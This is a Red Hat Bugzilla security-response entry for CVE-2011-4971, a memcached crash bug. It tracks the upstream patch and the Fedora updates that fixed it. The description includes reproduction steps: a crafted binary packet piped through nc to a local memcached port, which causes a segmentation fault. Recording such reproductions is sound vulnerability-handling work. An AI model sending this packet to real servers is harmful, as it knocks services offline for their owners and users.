Bug 957964 (CVE-2011-4971)

Summary:	CVE-2011-4971 memcached: specially crafted packet segmentation fault
Product:	[Other] Security Response	Reporter:	Kurt Seifried <kseifried>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED WONTFIX	QA Contact:
Severity:	low	Docs Contact:
Priority:	low
Version:	unspecified	CC:	jfrey, jlieskov, jorton, liam, lindner, matthias, mlichvar, xlecauch
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2021-06-11 21:05:04 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	957966, 957967, 957969, 957970, 988739
Bug Blocks:	957971

Description Kurt Seifried 2013-04-30 02:07:56 UTC

This was originally reported by Stefan Bucur:

1. Start memcached in TCP mode. For example:

$ ./memcached -v -p 11211 -U 0

2. Send the specially crafted packet to it: 

$ echo -en '\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | nc localhost 11211

====

There is a patch mentioned in the original issue report, but the code has 
changed significantly since then.

External References:

https://code.google.com/p/memcached/issues/detail?id=192
http://insecurety.net/?p=872

Comment 1 Kurt Seifried 2013-04-30 02:09:53 UTC

Created memcached tracking bugs for this issue

Affects: fedora-all [bug 957966]

Comment 2 Kurt Seifried 2013-04-30 02:10:27 UTC

Created memcached tracking bugs for this issue

Affects: epel-5 [bug 957967]

Comment 3 Kurt Seifried 2013-04-30 02:12:22 UTC

Created memcached tracking bugs for this issue

Affects: epel-6 [bug 957969]

Comment 6 Huzaifa S. Sidhpurwala 2013-06-18 09:31:39 UTC

Proposed upstream patch (with a test):

https://code.google.com/p/memcached/issues/detail?id=192#c19

Comment 11 Miroslav Lichvar 2013-12-12 13:43:40 UTC

It seems upstream has finally accepted the patch and it's in the recently released 1.4.16. Thanks!

https://github.com/memcached/memcached/commit/6695ccbc525c36d693aaa3e8337b36aa0c784424

Comment 12 Fedora Update System 2014-02-03 02:42:28 UTC

memcached-1.4.17-1.fc20 has been pushed to the Fedora 20 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 13 Fedora Update System 2014-02-03 02:49:02 UTC

memcached-1.4.17-1.fc19 has been pushed to the Fedora 19 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 20 Product Security DevOps Team 2021-06-11 21:05:04 UTC

This bug is now closed. Further updates for individual products will be reflected on the CVE page(s):

https://access.redhat.com/security/cve/cve-2011-4971